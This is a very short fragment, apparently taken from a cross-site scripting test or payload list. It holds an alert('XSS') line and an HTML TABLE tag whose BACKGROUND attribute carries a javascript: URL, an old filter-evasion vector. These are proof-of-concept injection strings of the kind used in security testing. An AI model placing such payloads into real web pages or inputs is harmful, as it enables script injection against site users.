Alert("XSS");

<TABLE BACKGROUND="javascript:alert('XSS')">